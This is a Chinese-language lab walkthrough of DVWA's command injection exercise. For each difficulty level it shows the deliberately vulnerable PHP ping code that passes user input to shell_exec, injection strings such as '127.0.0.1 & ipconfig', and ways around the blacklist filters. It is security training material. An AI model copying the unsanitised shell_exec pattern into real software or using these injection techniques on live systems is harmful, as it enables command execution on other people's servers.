前言
Command Injection (命令注入),就是指通过提交一些恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。
Low
源码分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $target = $_REQUEST [ 'ip' ]; if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; }
命令注入指令
1 2 3 4 5 6 7 8 9 10 11 127.0 .0 .1 & ipconfig 127.0 .0 .1 && ipconfig 127.0 .0 .1 | ipconfig 127.0 .0 .1 || ipconfig
执行效果
127.0.0.1 && ipconfig
127.0.0.1 & ipconfig
127.0.0.1 | ipconfig
127.0.0.1 || ipconfig
Medium
源码分析
和Low相比不难看出
Medium代码过滤掉了 && 和 ;
所以我们还是直接使用 127.0.0.1 & ipconfig 进行绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $target = $_REQUEST [ 'ip' ]; $substitutions = array ( '&&' => '' , ';' => '' , ); $target = str_replace ( array_keys ( $substitutions ), $substitutions , $target ); if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; } ?>
执行效果
127.0.0.1 && ipconfig
127.0.0.1 & ipconfig
High
源码分析
我们对源码分析不难发现
& ; | - $ ( ) \ ' ||
以上符号都被过滤掉了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php if ( isset ( $_POST [ 'Submit' ] ) ) { $target = trim ($_REQUEST [ 'ip' ]); $substitutions = array ( '&' => '' , ';' => '' , '| ' => '' , '-' => '' , '$' => '' , '(' => '' , ')' => '' , '`' => '' , '||' => '' , ); $target = str_replace ( array_keys ( $substitutions ), $substitutions , $target ); if ( stristr ( php_uname ( 's' ), 'Windows NT' ) ) { $cmd = shell_exec ( 'ping ' . $target ); } else { $cmd = shell_exec ( 'ping -c 4 ' . $target ); } echo "<pre>{$cmd} </pre>" ; } ?>
执行效果
我们发现使用|时会被自动添加
我们可以来尝试绕过一下
127.0.0.1 |ipconfig
127.0.0.1 || ipconfig
存在问题
安装好之后
我们随便输入127.0.0.1
会发现出现了乱码
那我们就要修改一下网站编码格式了
我们只需把下面这个php文件
1 \dvwa\dvwa\includes\dvwaPage.inc.php
将文档里的编码格式utf-8改为gb2312
重启之后我们再来试一下
参考 & 引用
https://zhuanlan.zhihu.com/p/565945383
https://www.cnblogs.com/chadlas/articles/15706124.html